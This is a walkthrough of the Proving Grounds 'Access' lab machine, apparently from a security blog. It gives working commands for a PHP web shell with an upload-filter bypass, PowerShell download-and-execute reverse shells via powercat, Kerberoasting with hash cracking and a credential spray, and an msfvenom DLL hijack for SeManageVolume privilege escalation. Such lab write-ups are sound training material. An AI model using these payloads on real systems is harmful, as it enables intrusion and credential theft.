PG – Access

In this walk through, we will be going through the Access room from Proving Grounds. This room is rated as Intermediate on the platform and it consists of a new technique to bypass extension filtering in Upload functionalities to get initial foothold. For the lateral movement, Kerberoasting is required of a target account and privilege escalation is done by abusing SeManageVolume privilege. So, let’s get started without any delay.

  • Enumerated the web server on port 80 first. Found a web site running. Keep the enumeration on hold. I first moved towards other vectors like SMB and LDAP.

The Event Website

  • Fired crackmapexec on the target. If gives the Idea of the OS running and domain name.

crackmapexec 192.168.171.187/24

  • Next, used smbclient and smbmap to enumerate SMB shares on the target using null session but nothing comes back.

smbclient -L 192.168.171.187

smbmap -H 192.168.171.187

SMB Enumeration

  • Moving on, tried to perform user enumeration using LDAP but it failed too.

ldapsearch -H ldap://192.168.171.187 -x -b "DC=htb,DC=local" '(objectClass=User)' "sAMAccountName" | grep sAMAccountName

LDAP user enumeration

  • Now, moving back to our web server. I found a “Buy Tickets” section. Clicking on the Buy Now button moves me to page where we can add the buyer’s name and also has a upload functionality. I uploaded a test users.txt file to it and it gives me a javascript popup message regarding the payment link.

  • Fired gobuster on the web server next to reveal some hidden directories. Got a bunch of them but the really interesting one here was – /uploads.

  • I checked the uploads directory and found my users.txt file on it. Now, we can upload a reverse shell on the server using the previously found Upload functionality and then trigger it from this uploads directory granting us the foothold on the server.

Index of /uploads

  • I used the below PHP snipped that will grant us access to run commands on the server via a web shell.

<?php
echo system($_GET['c']);
?>

  • Tried to upload this on the target but it throws me an error stating “extension not allowed”. Now, we have to bypass the filtering by changing our payload extension.

try to upload shell.php

File extension not allowed

Initial Access:

  • I tried bunch of them but none of them worked. Finally, found a solution in John Hammond’s YT video where we can use the .xxx extension and it will execute like the normal .php code. I changed my initial php shell extension, uploaded it on the target. However, i was not able to execute it for some reason.

cp shell.php shell.xxx

uploaded shell.xxx

Index of /uploads

  • In the concerned video, John added a .htaccess file on the server that allows us to execute the php scripts on it. Also, i used a different web shell instead of the first one now.

John Hammond Video: https://www.youtube.com/watch?v=xZd1JWmLGLk

echo "AddType application/x-httpd-php .xxx" > .htaccess

Web shell: https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php

cp webshell.php webshell.xxx

webshell.xxx successfully running

  • Once i got my webshell running, i used the below Powershell one liner that downloads powercat on the target and then execute it to give us a reverse connection back at our listener.

Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.180:8000/powercat.ps1');powercat -c 192.168.45.180 -p 1234 -e cmd

Downloading powercat on target

python HTTP server

Got initial access

  • Performed Post-compromise enumeration on the target and found nothing useful that can be leveraged to elevate my privileges at this point. However, on checking the users found out another service user on the target – svc_mssql that might be Kerberoastable.

type passwords.txt

Access is denied

adding hostname

Lateral Movement (svc_apache -> svc_mssql):

  • In order to perform Kerberoasting on the target, we first have to Find out if the target has a running SPN on it. For that, we will use the Get-SPN powershell script on the target and will capture the required SPN.

Get-SPN: https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1

wget https://raw.githubusercontent.com/compwiz32/PowerShell/master/Get-SPN.ps1 > Get-SPN.ps1

downloading Get-SPN.ps1

Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.45.180:8000/Get-SPN.ps1','C:\Temp\Get-SPN.ps1')

downloading Get-SPN.ps1 on target

powershell -ep bypass

 ./Get-SPN.ps1

executing Get-SPN.ps1

Object Name =  MSSQL
DN      =       CN=MSSQL,CN=Users,DC=access,DC=offsec
Object Cat. =  CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec
servicePrincipalNames
SPN( 1 )   =       MSSQLSvc/DC.access.offsec

  • Once we have found that we have found the required SPN running. We will now set up the environment on the target machine with the below commands for Kerberoasting of the target account.

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'

setting up the environment

  • Next, i used the Invoke-Kerberoast powershell script on the target and captured the hash of the SVC_MSSQL user in hashcat format.

Invoke-Kerberoast: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

wget Invoke-Kerberoast.ps1

iex(new-object net.webclient).downloadString('http://192.168.45.180:8000/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -OutputFormat Hashcat

executing Invoke-Kerberoast.ps1

  • Cracked the hash using hashcat and got the password for the svc_mssql user.

hashcat -m 13100 --force -a 0 hash.txt ~/Desktop/Wordlist/rockyou.txt

  • Confirmed the credentials are legit by spraying it on the server using crackmapexec.

crackmapexec smb 192.168.229.187 -u svc_mssql -p trustno1

crackmapexec credential spray

  • Checked if WinRM is running on the target, it was. However, i was unable to get a shell using evilwinrm with the creds.

checking if winrm port is open

unable to get shell

  • The next course of action was “Runas” to get a shell on the target as SVC_MSSQL. So, downloaded the script on the target and used it to trigger a reverse shell as user mssql.

RunAs Script: https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1

Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.45.180:8000/Invoke-RunasCs.ps1','C:\Temp\Invoke-RunasCs.ps1')

downloading Invoke-RunasCs.ps1 on target

powershell -ep bypass

import-module ./Invoke-RunasCs.ps1

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.180:8000/powercat.ps1');powercat -c 192.168.45.180 -p 4444 -e cmd"

Execute Invoke-RunasCs.ps1

got access as svc_mssql

  • Once i got a shell access as svc_mssql. Next, i enumerated the user information and its assigned privileges. Found that it has SeManageVolumeAbuse privilege set.

whoami /all

whoami /all

local flag

Privilege Escalation:

  • As per the below github repo, SeManageVolumePrivilege can be abused to get full control over C:\ enabling a user to read/write any files. One possible way to get a shell from here is to write a custom dll to C:\Windows\System32\wbem\tzres.dll & call systeminfo to trigger it. Let’s perform the same.

Resourcehttps://github.com/xct/SeManageVolumeAbuse

Exploit – https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public

  • I downloaded the SeManageVolumeExploit on to the target and executed on the target.

Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.45.180:8000/SeManageVolumeExploit.exe','C:\Users\svc_mssql\Desktop\SeManageVolumeExploit.exe')

  • The general idea is that the attacker can leverage this particular privilege with the exploitation to get full control over “C:\”, and then it can craft a “.dll” file and place it in somewhere “C:\Windows\System32\” to trigger the payload as root.

  • I downloaded the above binary executable from here After running the exploit, I could see I was able to write to the “C:\Windows\System32\” folder. Next, i created the required dll with msfvenom.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.180 LPORT=5555 -f dll -o tzres.dll

creating payload with msfvenom

  • Downloaded the dll to the required directory and ran the systeminfo command.

Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.45.180:8000/tzres.dll','C:\Windows\System32\wbem\tzres.dll')

  • Post this, i was able to elevate my shell to Administrator and captured the root flag.

Conclusion

So that was “Access” for you. We started off with a regular nmap scan and found a few ports open. Started the enumeration on web server running on port 80 and found an upload functionality. Abused it with a new extension bypass technique and was able to upload a PHP webshell. Leveraging it, got the initial access as user svc_apache. To perform lateral movement to svc_mssql user, kerberoasting was done and at last privilege escalation was done by abusing SeManageVolume privilege to get root. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.
